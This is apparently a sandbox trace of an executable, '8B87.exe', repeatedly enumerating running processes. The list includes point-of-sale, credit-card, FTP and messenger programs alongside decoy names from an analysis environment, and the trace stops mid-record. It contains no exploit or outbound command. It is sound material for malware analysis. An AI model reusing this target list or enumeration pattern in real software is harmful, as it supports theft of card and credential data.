[0284.882] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0284.886] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0284.889] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0284.892] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0284.896] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0284.898] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0284.902] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0284.905] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0284.908] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0284.911] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0284.914] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0284.917] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0284.920] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0284.923] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0284.927] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0284.930] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0284.932] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0284.963] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0284.967] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0284.970] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0284.973] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0284.977] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0284.983] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0284.991] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0284.994] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0284.998] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0285.002] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0285.005] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0285.009] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0285.012] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0285.015] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0285.018] CloseHandle (hObject=0xa10) returned 1 [0285.019] Sleep (dwMilliseconds=0x64) [0285.029] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xa10 [0285.072] Process32First (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0285.076] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0285.082] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0285.086] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0285.090] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0285.095] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0285.099] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0285.103] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0285.109] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0285.113] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.116] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.120] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0285.124] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.127] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.129] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.132] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.134] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.136] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.138] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.140] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0285.142] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0285.144] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0285.145] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.147] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0285.149] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0285.151] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0285.157] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0285.159] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0285.162] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0285.166] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0285.168] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.171] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0285.173] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0285.175] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0285.179] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0285.181] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0285.183] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0285.185] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0285.187] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0285.189] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0285.191] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0285.226] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0285.228] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0285.233] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0285.236] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0285.238] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0285.239] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0285.242] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0285.244] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0285.246] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0285.248] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0285.249] Process32Next (in: hSnapshot=0xa10, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, 